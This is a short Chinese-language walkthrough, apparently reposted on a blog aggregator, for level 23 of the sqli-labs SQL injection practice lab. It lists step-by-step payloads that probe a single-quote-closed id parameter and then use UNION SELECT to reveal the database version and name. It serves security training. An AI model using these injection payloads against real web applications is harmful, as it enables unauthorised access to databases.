本文主要是介绍sqllab第二十三关通关笔记,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
知识点:
- mysqli_query()
- 返回值为资源型或布尔型
- 如果内容为查询语句则返回资源型数据;如果内容为插入、更新、删除等语句则返回布尔类型结果
- mysql_fetch_array()
- 从结果集中取出一行作为关联数组或数字数组
- 输入内容为指定查询的结果集
- 单引号闭合绕过+联合注入
查看界面发现是一个id参数输入的,欸,这不是跟最开始的几关一样吗
尝试判断注入类型
构造payload:id=1/0
成功就得到了回显结果,说明是字符型注入
尝试单引号闭合
构造payload:id=1'
出现了语法错误的界面,发现好像利用了mysql_fetch_array()进行输入读取
成功爆出了语法错误,说明读取输入用到了单引号
构造payload:id=1''
正常回显,说明这里存在注入点,而且是单引号绕过
构造payload:id=0'+or+1='1
成功注入,说明这里的输入读取是mysql_fetch_array("select 1,2,3 from 表 where id ='输入内容'")
好了,尝试进行联合注入
构造payload:id=0'+union+select+1,2,3+'
接下来读取数据库名和版本信息
构造payload:id=0'+union+select+1,version(),database()+'
打完收工
10
这篇关于sqllab第二十三关通关笔记的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!